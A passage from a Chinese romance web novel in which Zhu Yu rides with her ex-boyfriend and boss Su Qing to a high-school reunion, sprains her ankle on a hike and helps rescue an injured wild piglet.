祝余的话匣子一打开就没完没了,原本她不想问的,话赶话提到喻怀音,就忍不住问一嘴:“话说回来,你和喻怀音有联系啊?我以为你和高中同学都没联系了呢……”
苏青解释道:“在英国读书的时候偶尔会聊几句,不多。后天同学聚会对吗?”
“啊?”他话题转的太快,祝余一下子有点懵,“对。早上十点,北亭山……我找找……”她抱着手机翻地址,一字一顿地念,“北亭山二号入口……咦,这地方在半山腰啊!这也太不替我们无车一族考虑了吧!”
苏青眸光亮了亮,余光瞥见祝余正噼里啪啦地打字,猜想她肯定是在找林晚聊天,赶忙说:“我接你吧。”
与此同时,祝余手机屏幕上显示着林晚刚发来的消息:我开车带你就好啦。
她略带犹豫地开口:“林晚她……”
“我走你家那边,正好顺路。”
“也好。”
祝余想了想,和林晚发消息:“苏青说他正好顺路来接我,不蹭白不蹭哈哈哈哈哈,给你省油,耶!”
*
另一边,林晚捏着手机,恨铁不成钢:祝余!你完了!你又被他拿捏了!
12. 北亭山下
周六,早晨九点。苏青准时出现在祝余家楼下,给她拨电话。
“嘟嘟嘟……”
足足半分钟后,电话才被接通,传来祝余迷迷瞪瞪显然还没睡醒的声音:“喂?”
苏青没说话。她又耐着性子问了一声:“谁?”
“九点了。”
“啊!”祝余像烧了尾巴的猫一样“蹭”地蹿起来,还不死心地看看手机屏幕,上面显示“9:02”,她抓抓头发,绝望地哀嚎一声:“啊!我的闹钟明明是八点的,怎么没响啊!”
苏青哑然失笑:怎么可能没响,肯定是她又睡太死没听见。
听筒里传来悉悉索索的摩擦声,祝余一边抱怨一边托着困乏的身子换衣服:“我为什么要答应去同学聚会啊啊啊周六就应该在家睡觉!等我十分钟我马上就下去!”
祝余捯饬自己的速度很快,六七分钟后就急吼吼地冲下楼。
她今天倒没有延续上班时怎么舒服怎么穿的风格,显然精心挑选了一下衣服,一件细腻的米白色毛呢短外套配白色阔腿裤,半长的头发披在肩上,没化妆,连眉毛也没来得及描一下。
衣服宽宽大大,显得被裹着的人身形单薄,一截脆藕般的手腕从肥肥大大的袖子里露出来,握住黑色的安全带。
苏青看了会儿,不自然地敛起目光。
祝余没察觉到苏青的异常,系好安全带就从包里掏出支眉笔,对着随身带的小镜子画眉毛。
苏青知道她手残,也没见过她化妆,一直以为她不会呢,忍不住悄悄觑她两眼,这才确定她是真的不会化,两条眉毛像蜡笔小新一样不说,还不对称,一高一低。他没忍住,呵出一声笑来。
由于对自己技术的不自信,祝余对他的笑声很敏/感,偏过头问他:“你笑什么!”
“没什么。”
祝余才不信他,对着镜子左右照了照:“不好看?”
“没有。很可爱。”
祝余撇撇嘴,去包里翻湿巾,翻了半天没找到,才想起来自己早上走的太匆忙,忘记带了。
苏青适时地从杂物盒中抽出一张,递给她。
她有点疑惑苏青怎么知道她在找什么,又想到林晚说她“你完了,你被他拿捏了”,心想他该不会是在英国选修了心理学吧?
但她现在困的要死,没精神和他探讨这个问题,接过湿巾道声谢,十分简单粗/暴地把自己精心画了半天的眉毛一气儿擦干净,又暗自感慨这种精致活果然不适合她干。
“我睡一会儿,到了你叫我。”
苏青:“好。杂物盒里有眼罩,新的。”
又是粉色的,祝余腹诽没想到他的少女心这么强,带上开始补觉。
一直睡到北亭山下,被一道缓冲带颠醒。祝余迷迷糊糊地摘下眼罩,看向车窗外的景色。
“到啦?”
“醒的还挺及时。”
车子驶向上山的公路,祝余揉揉眼,眼巴巴看着苏青。
他修长的手指轻轻握着方向盘,看起来格外轻松潇洒,让祝余完全忘了她考驾照时十指紧紧扒着方向盘不松手的样子,以为自己也行。
前后无车,这条路又称得上平缓,祝余咳了声:“那个……其实我也有驾照。”
苏青似乎是没听懂她的暗示,尾音慵懒地上扬:“嗯?”
“你开了一路累不累啊?”祝余托着下巴,表现出十分关心他的样子,“不如换我开一会儿?”
苏青眼梢流露出笑意,故意说:“快到了。”
祝余一咬牙:“让我试试吧求你了!”
“想开?”苏青觑她一眼,见她小鸡啄米一样不住地点头,于是装出勉为其难的样子,“行吧。”
他缓缓靠边停下,打开双闪,和祝余换了位置。谁知道祝余是个没怎么上过路的菜鸟,腰背挺的笔直,下颚紧绷目视前方,双手紧紧握着方向盘,第一句就是:“这个灯怎么关?”
苏青心道不该满足她的……
人菜瘾还大。
他微微侧身帮她关上双闪,打开转向灯,盯着后视镜,俨然像驾校教练:“慢慢来,别紧张。”
“哦……”
幸好前后无车,饶是如此,祝余仍然十分小心,不停地嘱咐苏青帮她观察路况,还抱怨为什么副驾驶座上不像教练车一样有刹车。
到半山腰的一段短短的路开了足足十几分钟,走到半路,后面跟了辆白色奥迪,上山的路是单行道,窄,超车也超不过去,白车车主只好不停地在后面按喇叭。
尖锐的喇叭声像催命符一样在身后不停地响,祝余被人一催就紧张,十指关节因为用力而泛白:“啊啊啊怎么办,要不要换你开?”
苏青很担心她现在停下会被后面那个明显越来越暴躁的白车车主痛骂一顿:“不用,往前开。别紧张,他应该不会撞你。”
他又向后看了一眼,奥迪A6,便补充道:“肯定不会。”
祝余手心冒汗,整个人像被架在火上烤。
两辆车终于以龟速磨蹭到农家乐前。
白车车主气冲冲地一甩车门,怒气十足地朝祝余他们走来,刚敲了敲车窗,隐约觉得里面那个人有点眼熟。等车窗落下,露出祝余那张饱经折磨的苦瓜脸,车主脸上的表情立刻由怒转喜:“小鱼儿!我就说谁这么慢,蜗牛似的,原来是你啊!哈哈哈哈哈哈哈哈你也太菜了。不过这是你的车?可以啊,你们动物园油水蛮足的嘛!”
祝余说:“班长,我们动物园都快穷死了好吗!欢迎你时不时来贡献两张门票钱。”她往后一指,“他的车。”
苏青正低着头解安全带,闻言抬头,给了班长王明皓一个微笑:“是我的。好久不见,班长。”
“哟——”王明皓愣了一下,才反应过来,拖着长音怪声怪气道,“学霸啊!你们俩怎么一块儿来的——?”
他瞅瞅祝余,又瞅瞅苏青,作为当年的半个知情人,脸上浮现出一个意味深长又略显猥琐的笑来:“啧啧啧。”
“顺路!”
祝余下车,王明皓眼疾手快地扶了她一把,正巧此时后面又来了辆车,陆允恒摁下喇叭吸引目光,从车窗里探出个脑袋来:“这么巧,都刚到啊!哟,学霸你也在啊!这车是你的?牛x啊!”
苏青友好地点点头,没做声。
“我给你说!”王明皓喊道,“要不是小鱼儿开车跟个蜗牛似堵在我前面,我早就到了!”
“我这是初次上路,安全第一!”祝余扒着眼皮朝他吐舌头,随手又拍了他一巴掌,她个头明明也不算矮,在这个南方城市里算是比较少见的168cm,却还是比王明皓矮半头,气势上都短一截。
王明皓怪声怪调地捂着肩膀说:“嗷!我不是你亲爱的花无缺了嘛,小鱼儿你好狠心啊……!”
苏青忽然眉梢一挑,冷冷地看着他们挨在一块儿的肩膀。
贴那么近……
他正要开口叫祝余过来,一辆粉色小奔驰风驰电掣地卷起路面上的尘土,一个急刹车停在他们身边,林晚穿一身粉白色小香风套装,踩着六厘米的小高跟,自带bg
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m的从车上下来。
她对司机说:“下午记得来接我。”
车门关上,波浪长发一甩,林晚抬手摘下墨镜,下巴微抬,眼神若有似无地擦过苏青——祝余敢肯定她提前练过,然而她此刻的动作是那么的自然,隐约带着示威的意味。
这一幕活像电视剧里千金大小姐出场时的慢镜头,把王明皓和陆允恒两个宅男都看呆了。
两人双双跑到林晚身边,一左一右,执一个骑士礼:“林公主,有什么吩咐?”
“去去去。”林晚挥开他俩,优雅地一伸手,指向祝余,指尖还挂着墨镜,“鱼鱼,过来!”
祝余迅速蹭到她身边,小姐妹手挽着手嘀嘀咕咕。
林晚:“你跟苏青一起来的?!”
祝余攥着她的胳膊:“淡定淡定!你为我的工作考虑考虑,我不想失业啊!”
林晚:“是可忍孰不可忍,失业了我养你!”
祝余这颗墙头草有一丝的动摇,她承认这句话很动听,默了一会儿,她说:“这可是你说的啊!到时候我吃你软饭你可不许嫌弃我没用啊!”
“我什么时候嫌弃过你?”林晚一昂下巴,和苏青对上视线,发挥阴阳怪气技能:“见大学霸一面可真不容易啊,知道的是你出国留学了,不知道的还以为你看不上我们这些老同学了呢。”
苏青有和林晚的丰富斗/争经验,此刻一推银边眼镜,端一副温文儒雅的高知识分子姿态:“林小姐真会开玩笑。”
林晚有种一拳打在棉花上的感觉,她翻个白眼,咬着牙缝挤出一句:“真是八二年的龙井。”
苏青没听懂,但他正琢磨着另一件事:一个“亲爱的花无缺”,还有个天天黏在一块儿的好姐妹,幸亏这次他一起跟来了……
反而祝余一歪头,问她:“这什么意思?什么叫八二年的龙井?”
林晚:“老绿茶了!”
“高,”祝余朝她竖了个大拇指,“实在是高。”她先扬后抑,拉拉林晚袖子,“差不多得了,我还是挺热爱这份工作的。”
喻怀音听到声音走出来,这家农家乐是她安排的,因此她到的最早。她一身非常温柔的香槟色长裙,配一件同色系小坎肩,婷婷袅袅,未语先笑:
“就差你们了。快进来吧,大家都在里面。苏青,真没想到你也会来。”
苏青报以温柔一笑:“刚回国,也很久没机会和老同学聚一聚了,所以就来了。”
“靠!”林晚见状拎着祝余耳朵尖八卦,“你看他们俩,喻怀音究竟是不是喜欢苏青?我高中的时候就这么觉得了。”
“什么跟什么啊?我说你少看点电视剧和言情小说吧,”祝余浑然不觉,“这不很正常吗?喻怀音对谁都很温柔啦。”
此时喻怀音恰好和祝余打招呼,笑容声音具甜美:“鱼鱼,快来!这家店的白茶特别好喝,你来尝尝。”
“好!马上来。”她拍拍林晚,“你看,不要想太多了,人家就是这个风格。”
林晚略无语:这神经也太大条了,不愧是到现在都还相信光的女人。
随即她又想:迟钝点好啊!迟钝点就不会被苏青这个大猪蹄子撩到!迟钝点就不会被苏青这个大猪蹄子勾走!
她挽着祝余走了,临走前扭过头无声地对苏青对口型:狗、男、人!
喻怀音一头雾水,颇为困惑地看看苏青:“她……她说什么?”
苏青淡淡道:“没什么。”
已经被骂习惯了,闺蜜和(前)男朋友这两种生物就是天敌啊!
13. 小鱼儿与花无缺
踏进这家农家乐,祝余和林晚才知道现在的农家乐已经和她记忆里那种开在山沟沟里,摆几条朴实无华的木制长桌长凳,提供家常菜的夫妻店不一样了。
现在的农家乐依山傍水,假山流水锦鲤应有尽有,一步一景,装修也是新中式风格,错落地挂着成串的小灯笼和草书窗帘,白色独栋小别墅,一楼用餐,二楼喝茶下棋聊天,后山还能采摘茶叶。露台上搭着几顶遮阳伞供游客休息,山中美景一览无余。
主打一个逃离都市回归自然风。
祝余环顾四周,感叹道:“这地方一看就很出片啊!”
林晚的小高跟踩在底下铺满白色小石子的青石砖小路上,发出“哒哒哒”的声音,她却健步如飞,还有功夫提醒祝余,“小心脚下。别到哪都惦记着你那老本行了。”
祝余“嘿嘿”一笑:“业余爱好,也不能算是我的老本行。运营跟摄像还是有区别的!”
“行行行。”林晚压根不在乎。
苏青和喻怀音两人并肩走在后面,他们俩话都少,一时没人说话,还是喻怀音挑起话头:“这地方还不错吧?山里环境好,空气也好。”
苏青紧盯着前方两道身影,惜字如金:“嗯。”
“其实这家店是我一个朋友开的。”喻怀音眨眨眼,笑了,“你以后如果想来玩,我让他给你打折。”
“好,多谢。”
他的话太少了,而且从来不主动挑起话题,喻怀音在心底叹了口气,深感这天没法聊下去了。幸好已经走到楼梯上了,不至于一路无言太显尴尬。
二楼有两个男生在下棋,剩下的同学要么围着观棋,要么三三两两坐着聊天。
祝余和林晚瞥了一眼,不熟,没兴趣,便只寒暄两句,就挑靠窗的位置坐下。
王明皓和陆允恒是有热闹必凑的人,一上二楼就围过去,时不时发表两句“高见”。
苏青上来时,环视二楼,径直向祝余那桌走去。王明皓抬头的间隙,瞥见苏青,立刻喊道:“大伙儿停一停停一停!让我们热烈欢迎学霸归来!来,掌声,起!”
稀稀拉拉的掌声随之响起,都用一种看大熊猫的眼神看着苏青——他们当年也是这么看他的,谁叫这人次次考试蝉联全年级第一,还能把第二名甩出去二三十分呢。
“学霸啊!好多年没见了!”
“天啊学霸怎么越长越帅!”
“啊学霸居然真的来了!我还以为祝余开玩笑的呢!”
祝余闻言立刻给自己澄清:“我祝余是谁,从来不开玩笑好吧!”
“没错!”王明皓拍拍那哥们儿的肩,一脸痛心疾首,“你居然这么不信任我们小鱼儿!”
“去你的,小鱼儿小鱼儿,你怎么还叫她这个名,你是花无缺啊你?”
王明皓向后撩一把头发:“那当然。我们俩谁跟谁啊,好哥们儿!是不是小鱼儿!”
祝余附和他:“是是是!”
喻怀音眼睁睁看着苏青的脸色一点点冷下去,然后扯出一个要笑不笑的表情和大家打声招呼,便快步走向祝余,问也不问地坐在她对面。
林晚看他贼不顺眼,翻个白眼:“谁让你坐这儿了?经过我同意了吗?”
苏青略带尴尬地望向祝余,眨着一双水光潋滟十分无辜的眼睛:“……可以坐吗?”
林晚:“不可以!”
祝余:“可以!”
林晚也望着她,满眼:你要姐妹儿还是要这个大猪蹄子!
祝余安抚地握着她胳膊,捂着嘴低声说:“可以可以。给姐妹儿领导留点面子。回去请你吃那家排队一小时起步的网红餐厅,我提前翘班去排队。”
林晚深吸一口气:忍!谁叫人家现在是她顶头上司呢!
苏青抿着唇笑:“我这个领导就坐在你对面,你这么明目张胆地要翘班?”
“请假。”祝余混迹职场多年,修炼的十分机敏灵活且狗腿,“请假!您这么心地善良英俊潇洒才华横溢风度翩翩体贴下属关心员工的领导不会不给我批假的对吧?”
林晚幽幽叹了口气,重重放下茶杯:“真没出息啊鱼鱼!”
祝余蹭蹭她:“没错,我们打工人就是这么没骨气……说多了都是泪。你们这些可恶的资产阶级是不会懂的!”
“心地善良英俊潇洒才华横溢风度翩翩”,苏青回味着这一长串形容词,暗爽一阵,叫来服务员点了些配茶的糕点。然后慢悠悠抿口茶:“不批。”
祝余心说不批就不批,咱们动物园穷的连考勤机都买不起,我提前一个小时溜还能被你知道?有本事扣我工资略略略。
“当领导了就是不一样啊!这么会压榨员工,不愧是从资本主义国家留学回来的啊!”林晚拍案而起,祝余连忙按住她,抄起一块点心塞进她嘴里:“吃东西吃东西!”
林晚表示很看不上苏青的作风:“甜兮兮的,谁爱吃啊。”
苏青睨一眼祝余:“她早上没吃东西。”
“对。”祝余此刻饥肠辘辘,见到吃的恨不得扑上去。很没用原则地弱弱举起手,“我爱吃……”
林晚不忍直视地闭上眼,祝余欢欢喜喜接过点心,一样尝一块。丝毫没注意坐在她身边的两人视线在半空中交汇,碰撞出噼里啪啦的火星子,快要把背景变成狼烟四起的战场了。
两人无声地用眼神交流。
林晚:别以为你现在这样就能弥补你曾经对她造成的伤害!
苏青很不解:……好像,大概,或许,明明是她甩了我?
林晚:渣男!
苏青:?
苏青曾经也尝试对林晚采取利诱收买策略,后来得出一个结论——男朋友和闺蜜这两种生物是绝不可能和平相处的。
六年过去,他成熟多了,毫不挣扎地一耸肩:行,你说啥就是啥吧……
那边王明皓因为话多被轰出来了,只好拎着把椅子来投奔祝余,贴着她坐下:“小鱼儿,你跟我挤一挤。”
人群中不知道是谁喊了一声:“王明皓你个臭乌鸦嘴!”
祝余笑的眉眼弯弯,好哥们似的跟他勾肩搭背:“你被赶出来啦?行,霸霸收留你。”
王明皓一脸沉痛:“跟谁没大没小呢!哎,话说回来小鱼儿,你上次托我那事办妥了。”
祝余精神抖擞:“谢了啊!改天我请你吃豪华大餐!”
王明皓哼哼唧唧地表示:“什么标准的豪华大餐?”
祝余:“一中门口兰州拉面店的那个至尊版拉面,怎么样,够不够豪华?”
“抠死你算了!”
他们俩聊天时旁若无人。苏青倒杯茶,借着杯沿儿掩盖眼底晦暗,不动声色地问:“什么事?”
“也没大多事。”不待祝余回答,王明皓
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率先说,“就是小鱼儿想买个相机,那个型号绝版了,还挺难找的,正好我有个朋友是倒腾老东西的,拜托他帮忙淘了一台。”
苏青一挑眉:“相机?”
他记得祝余以前压根不喜欢拍照啊。
祝余:“对啊。上班以后新开发的爱好。我拍照很好看的,咱们动物园公众号上那些照片都是我拍的,你没看过吗?”
“没注意。”苏青胸口发闷,摸到口袋里一个硬纸盒,起身说,“我出去抽根烟。”
祝余和王明皓齐齐用一种“惊!当年的三好学生居然也学会了抽烟,究竟是人性的扭曲还是道德的沦丧”的眼神看着他。
他轻咳一声,解释:“学业压力大。”
两人异口同声:“哦——”
这就不奇怪了。毕竟是国外名校,本科还一读就读六年。
*
二楼连接的露台视野很好。今日天气不佳,天色阴沉沉,大片浓郁的翠绿被轻纱般的薄雾笼罩着,乌云卷在天边,倒是别有一番风味。
苏青的冲锋衣随手搭在臂弯里,右手食指间夹着一支烟,猩红的火星散落在灰蒙蒙的天色中。
“你还会抽烟呢?”喻怀音温婉的声音在身后响起。
苏青回过神,淡淡瞥她一眼,视线又飘向空蒙的山谷:“不常抽。”
喻怀音走到苏青身边,双肘搭在露台栏杆上,她闭上眼,仰头深吸一口气,才缓缓说:“真喜欢这种天气。在伦敦的时候总是听同学吐槽天气差,雨雾多,我倒是很适应。”
苏青没说话。
掐了烟,随手扔进露台桌子上放的烟灰缸里,喻怀音又自顾自般说:“我还以为你会待在英国发展。回国是因为……因为祝余吗?”
两人的视线同时转向室内,恰好可以看见和王明皓交谈甚欢的祝余。她不知道在和王明皓聊什么,但是看起来很高兴,还拉着他一块儿猜拳。
苏青想再点一支烟,但是忍住了。
一部分是。
他想起决定回国那天。
原本他已经递交了硕士申请资料,国内突然传来外婆心脏病发作的消息,他放下手头的工作订了最早回国的机票,然而航班因为暴雨延误二十三个小时。
滞留在机场时,他打开电脑,习惯性地登录论坛,看到祝余最新发的动态:“园长离职了(哭哭),动物园不知道还能坚持多久。高烧39度。最近诸事不顺,可怜兮兮!”
她的动态通常都是活力十足的内容,比如什么“今天吃了xxx好好吃!”,或者“cz又和我打赌哼哼哼她肯定会输”,这是少有的可怜巴巴的一条。他心底蓦的软了一块,似乎能透过屏幕看见她围着小被子抱着手机不停吸鼻子的可怜样子。
好可怜啊。
紧接着她又发了一条博文:“想谈恋爱!想找个男朋友给我端茶倒水!”
苏青似乎是在那一刻坚定了回国发展的决心。
“外婆外公年纪都大了而已,我也不想在国外继续漂着,回国陪在老人身边,挺好的。”
喻怀音垂眸点点头,想起他外婆有心脏病,便关心地问:“外婆身体怎么样?”
“劳你牵挂,还不错。”
祝余在室内朝他们招手,扬声问:“他们说要去爬山,你们去吗?”
“去!”苏青应下,对喻怀音一点头,“失陪。”
14. 爬山
北亭山海拔不高,他们又位于半山腰,一趟上下两个来小时足矣。这群人大多数都是血气方刚的大小伙子,说走就走,打算等下山回来再吃饭。
林晚嫌累,从不参与这些活动,但祝余是个很爱运动的人,自然要跟着去。她天生闲不住,小时候还被她妈怀疑有多动症,拎去医院检查一通,结果医生说:“你们家孩子就是比较活泼好动,没事带她跑跑步游游泳,消耗消耗她过剩的精力。”
她妈谨遵医嘱,没事儿就带着她锻炼,结果她过剩的精力没被消耗掉,反而越练越皮实。直到大学毕业前,她都是校运动会的积极参与份子,成绩怎么样暂且不谈,参与的心是很积极的。
可惜后来步入社会,被工作折磨两年,彻底变成了一条咸鱼。
“你真去啊?”祝余蹙着眉,把苏青从头到脚打量一遍,一米八多的大高个儿,谁能看出来他体力那么差劲呢,连跑个八百米都费去半条命。她关心道,“你行吗?”
苏青面不改色:“男人不能说不行。”
祝余:……
祝余:这是什么奇奇怪怪的雄竞心理。
她很不放心地补充一句:“爬不上去的话你就找个地儿歇着,等我们下来,别逞强。”
喻怀音出来时恰巧听见这话,很是惊讶地看了祝余一眼。
苏青到底做了什么她出现这种错觉?他在英国的时候热爱极限运动好嘛!什么跳伞什么滑雪什么攀岩什么冲浪他全玩过,听说他甚至还攀过阿尔卑斯山。
接着她听见苏青淡淡应道:“好。”
冲击太大,喻怀音猝不及防地被口水呛了一下,弯着腰止不住咳嗽。祝余被吓的手忙脚乱,连忙去拍她的背:“怀音,你怎么啦?”
喻怀音心说当然是被你们的对话震惊到了啊!
“没……”她连连摆手,“没事。”
她渐渐止住咳嗽,祝余热情相邀:“你去爬山吗?”
“算……算了。”喻怀音连忙摆手,她并不想看苏青为了在她面前立柔弱人设都能做出来什么,她怕自己忍不住拆穿他。
祝余有些遗憾:“好吧。”
林晚幽怨从一边飘来,一只手如女鬼般从祝余身后搭上她的肩,延长甲戳在她肩上轻轻敲了敲,紧紧地盯着苏青:“我也要去!”
祝余:“?”
祝余:“你不是说你这辈子最讨厌的运动就是爬山了吗?”
林晚义正言辞:“我当然要时刻看紧你们两个啊!”
祝余指指苏青,又指指自己,眉毛一挑:“我们俩?我们俩有什么好看的?”
苏青无所谓地一耸肩。
这姿态在林晚看来就是挑衅,她目光炯炯,克制着冲上去撕了他的冲动,朝祝余坚定地一点头:“有!”
祝余看看她的小高跟鞋,一摊手表示:“我不理解,但我尊重你的选择。走吧!”
北亭山风景秀丽,但还没被开发成热门旅游景点,节假日游客并不多,上山的小路上只有他们一行人。
十分钟后,他们被大部队遥遥甩在身后。
林晚叉着腰,每一步都挪动的非常艰难,她半个人都搭在祝余身上,绝望地问,“我为什么要跟来!”
祝余用蹩脚的粤语说:“我也母鸡啊。”
两人脚步虚浮,摇摇晃晃,连苏青都背着手悠然地走在她俩前面。
林晚看着他的背影,越看越不顺眼,怒火中烧,破罐子破摔,干脆坐在地上,毫无形象地盘着腿,丝毫不管潮湿的山间小路会不会弄脏她新买的香奈儿套装:“我不爬了!”
“太好了……”祝余长长呼出一口气,在林晚的怒视下讪讪改口,“我是说,太可惜了。”
苏青察觉到祝余没跟上,慢悠悠转过身,看见一站一立两个背影,不由觉得好笑。他大步流星走向两人,眼角眉梢得意扬扬,假惺惺问:“要不要休息一会儿?”
祝余:“好啊。”
林晚连连摆手:“不!你们爬吧,我休息一会儿自己回去。”
祝余望着下山的路,蹙着眉:“下山要比上山还累啊,你自己能行吗?”
“能行,大不了让司机来接我。”林晚瞪一眼苏青,她很不想给这俩人单独相处的机会,奈何她实在是爬不动了。
祝余很同情这位随叫随到的司机:“少折腾你们家司机吧……”
林晚傲娇地伸手比了个二:“我一个月给他开两万块。”
“亲。”祝余笑的像朵食人花,“您看我能当司机吗亲?”
苏青幽幽问:“你是嫌工资低吗?”
祝余十分有哲理:“水往低处流,但人往高处走……”
*
有林晚这个前车之鉴,祝余特地放慢了步速,担心苏青也爬不上去。没想到他还算给力,除了半路上遇见一个斜坡要她拉上去之外,两人一路可谓十分顺利。
快到山顶时,天色放晴,风过树梢,祝余问:“用不用休息?”
话音落地,没等到回答,她耳朵先动了动,向苏青做了个暂停的手势,神神秘秘地默了会儿,问:“你听见什么声音了吗?”
苏青揉了揉耳垂,“什么?”
左侧林间传来十分轻微的窸窸窣窣的声音,要仔细听才能听见。他仰头看着葱茏的树木,春风拂过,树梢发出沙沙的声音:“风声吧?”
“不是,好像是什么小动物在叫。”祝余已经风风火火地冲出去了。
那边是一道下坡,没有路,只有几块错落的大石头堆在一起,因空气湿润而布满青苔,祝余有点心急,冲过去时脚下踩到青苔,险些要摔倒,刹那间她心想“完了,我一世英名今天就要栽在这儿了!”
她一闭眼,做好摔个平沙落雁的准备,电光火石间却被一双有力的小臂拦住,随即她摔进一个温暖的怀抱里。
“小心!”
“哎?”她茫然地睁开眼,对上苏青冷淡的视线。
可惜脚腕依旧以一个匪夷所思的角度扭伤了,传来阵阵刺痛,她痛的眼前发黑,靠着苏青才能站稳,完全没意识到自己整个人都贴在他身上,被疼痛占据的大脑还能分出一丝精力想:太丢人了,真是太丢人了!
祝余缓缓闭上眼,装死。被苏青扶着坐在一块石头上,刚缓过来一点,一双温暖的手覆上她的脚踝。
“我没事儿,”祝余头一次觉得自己的情操如此高尚,疼成这样都能说出来没事这俩字,她晃晃腿,“你去看看,可能是什么小动物受伤了窝在那儿呢,我刚刚看见草丛里有点血迹。”
苏青拧着眉,沉声说:“别动。受伤了能不能老实点?”
祝余不动了,只见他神情专注,轻轻抬起自己的脚踝仔细检查,祝余曾
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经对这副神情很熟悉——他看数学竞赛题的时候也是这样的。
没想到自己的脚腕的重要性居然和数学题不相上下!
她盯着苏青茂密的头顶愣神,片刻后忍不住感慨一句:“你头发好多啊!”
这神奇的关注点……
苏青很无语地看了她一眼:“稍微有些肿,看起来倒是不算特别严重,疼不疼?”
“还行。”
“这样呢?”苏青轻轻按了按她的伤处。
祝余咬咬牙:“还可以。”
苏青又问:“能站起来吗?”
“不能。”祝余不耐烦了,“先别管我了,你快去看看!”
“坐着别动。”苏青起身前丢下一句。
或许是动物感受到人的靠近,草丛开始频繁晃动,看起来像是在准备逃跑,奈何没成功。
苏青曾经参加过野生动物救助活动,对这事十分熟悉。他跨过石头,拨开杂草,只见里面窝着一只小野猪,棕色的毛发上沾满星星点点的泥土,很瘦,腿上有明显的伤口。一双黑色的滴溜溜的眼睛里充满警惕,他拖着身子向前拱了拱,发出轻微的低吼。
苏青脱下冲锋衣把他包起来,抱到祝余怀里:“抱着。”
“是只小野猪啊,真可怜。”祝余正瞅着怀里小东西的伤口,心想也不知道怎么弄的。她单脚蹦起来,“先送去救助中心吧。”
下一秒,身体一轻,连人带猪被拦腰抱起来。
祝余:?!
她和苏青四目相对,张口结舌:“等…等等等等,你干嘛?!”
苏青十分淡然:“不然你走下去?”
祝余不说话了。
她缩在苏青怀里,脸红的不成样子。天知道他们虽然谈过一段恋爱,但是最亲密的接触也不过就是背着林晚拉拉小手,或者很快速地抱一下。
连嘴都没亲过……
什么乱七八糟的!祝余甩甩脑袋,想把这些不着四六的想法甩出去,但还是忍不住胡思乱想:这也太亲密了……幸好林晚应该已经回农家乐了,应该不会被她看见,不然我不止一世英名栽在这儿了,一世清白也要毁于一旦了!
但是……但是这也没什么吧。我都伤成这样了,他总不能让我自己爬下去或者干脆就把我丢在山上吧,那也太没有人性了!这是特殊情况,别无选择,无可奈何,无计可施……无……
祝余抽抽鼻子:他怎么还喷香水!
别说,还挺好闻。
如果祝余的脑容量还够用的话,她应该能察觉到为什么这个人连几块科普牌都抱不动,现在却能抱着她和一只猪在山上健步如飞。可惜她现在一半脑子用来想“这到底是什么香水啊还真挺好闻的,要不要问他要个链接”,一半脑子用来自我安慰“没事没事,抱一下又怎么了又不会少块肉,总比让我自己爬下去强”,实在是想不到别的事情了。
“你……”苏青感觉到怀里那人的脑袋一拱一拱的,不知道在干什么,像是在蹭他的胸肌。
怎么几年不见,她越来越……
这颜色真鲜亮啊,苏青心想。
他的嘴张张合合好几次,终于忍无可忍,开口问道:“你是被野猪附身了吗?”
正甩着脑袋希望自己别再胡思乱想的祝余:?
她停下来,看看怀里的野猪:“……可能是吧。”
15. 见家长
附近就有一家救助站,车程十几分钟。他们俩把小野猪送过去,和工作人员简单说明一下情况,值班的工作人员非常友好,见祝余的脚扭伤了,还给她拿来了冰袋。
“多谢。”苏青托着冰袋,冷气丝丝往上冒。
“不用谢不用谢。”救助站的小姑娘摆摆手,笑眯眯道,“是我们要谢谢你们呢。”
苏青:“举手之劳而已。”
祝余眼巴巴看着怀里的小野猪被人抱走,心想这一路都抱出感情来了,如果不是西府离这儿远,那送去他们动物园的救助站该多好啊,她还能时不时去喂一喂。
她想的入神,突然脑门上被苏青弹了一下:“走了。”
“哦……”她揉揉脑袋,拖着长音问,“去哪——?”
“医院。”
“没必要吧。”她嫌麻烦,“也没有那么疼,回去喷点云南白药就得了。”
苏青瞄她一眼:“你这是讳疾忌医啊?”
“怎么会!”祝余下意识否认,单脚立着,“我这是对自己的伤势有清晰的判断。”
“你的判断带有非常浓厚的主观色彩。”苏青又看了看她的脚腕,似乎比方才肿的更严重些。他声音冰冷不带一丝感情,像个抓逃课的学生回去上课的班主任,架着她不由分说地往外走,一把把人塞进副驾驶座,“我对你的伤势有更准确的判断,别挣扎了。”
祝余因负伤而毫无反抗能力,只好干巴巴地指责他:“你好无情。”
苏青俯身帮她系上安全带:“话说回来,你为什么那么抗拒去医院?”
他想起高中的时候,有一次晚自习上他突然发烧,祝余盯着他因为高烧而红彤彤的脸,一边把卷子往书包里塞一边十分欢快地道:“那还等什么,咱俩快去找老班请假吧!我送你回去,愣着干什么?你烧糊涂了吗?要不要我帮你收拾?”
苏青对于自己烧的头晕脑胀她却一脸兴奋只想着能借此提前放学这事儿十分无语,果然想在她那里找点什么关怀是件不可能的事情。
他看着祝余收拾书包,忽然福至心灵,施施然伸手按住了桌上的试卷。
祝余眨着期待的大眼睛,和他对视,缓缓从鼻腔中哼出一个“嗯?”
显然她不理解为什么有人放学不积极这件事。
“家里没有退烧药。”
“回去路过药店我帮你买一盒。”
苏青摸摸额头:“我好像烧的有点厉害。”
祝余挑挑眉,她的人生字典里好像没有医院这两个字:“所以呢?”
“我应该……”苏青斟酌着开口,“需要去校医务室输液。”
祝余愣了两秒,然后以迅雷不及掩耳之势把已经装进包里的试卷掏出来,一秒犹豫都没有,抓起笔就开始写题:“那你自己去。”
苏青蹙着眉:好无情一女的。
他揉着太阳穴:“我头晕……”
“班长!”祝余拍拍前面坐着的王明皓,王明皓正沉浸在数学题里,百思不得其解,十分烦躁,伸手像挥苍蝇一样挥了挥,“等会儿等会儿。”
苏青低声说:“我们还是别打扰班长学习了。没关系,我自己去医务室也是可以的。输液而已,就算没人陪着,应该也不至于因为过敏,或者输入空气而出现什么不良反应。就算有的话,也应该会有人及时发现吧。”
他开始慢吞吞收拾东西。
祝余咬着笔头,越听越骇人,联想到自己以前看过的新闻,谁谁谁因为输液而去世……
这种新闻隔三差五就冒出来一条……
她把笔胡乱塞进包里,一脸悲壮:“走走走,我陪你去!”
那是苏青唯一一次见她迈进校医务室的门。
那时她全程皱着眉,似乎一秒钟也不愿意多待。
祝余把冰袋轻轻按在伤处,冰冰凉凉的触感让她下意识倒吸了口凉气,才说:“说来话长。可能是小时候留下的心理阴影吧。
我上幼儿园的时候总是反反复复地生病,经常住院,是我们家附近那所医院儿科的常客,跟那几个儿科医生都快混成熟人了,医院那股消毒水味都快把我腌入味了,我现在一闻到那股味就想吐。
小时候去多了,长大了就不愿意去嘛……总觉得一进去就要住院吃药打针。”
